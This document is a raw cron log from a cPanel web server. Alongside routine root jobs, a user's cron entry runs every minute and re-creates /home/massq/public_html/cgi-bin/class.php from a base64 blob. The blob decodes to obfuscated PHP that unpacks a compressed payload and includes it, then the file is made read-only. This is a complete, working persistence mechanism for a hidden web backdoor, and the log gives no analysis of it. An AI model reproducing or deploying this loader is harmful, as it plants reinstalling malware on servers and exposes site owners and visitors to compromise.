Nov  9 18:39:01 server CROND[21896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:39:01 server CROND[21897]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:40:01 server CROND[22730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:40:01 server CROND[22731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:40:01 server CROND[22732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:40:01 server CROND[22733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:41:01 server CROND[23615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:42:01 server CROND[24542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:42:01 server CROND[24543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:43:01 server CROND[25298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:44:01 server CROND[26118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:45:01 server CROND[27005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:45:01 server CROND[27006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:45:01 server CROND[27007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:46:01 server CROND[27871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:47:01 server CROND[28698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:48:01 server CROND[29631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:49:01 server CROND[30443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:50:01 server CROND[31419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:50:01 server CROND[31421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:50:01 server CROND[31422]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 18:50:01 server CROND[31423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:50:01 server CROND[31425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:51:01 server CROND[32352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
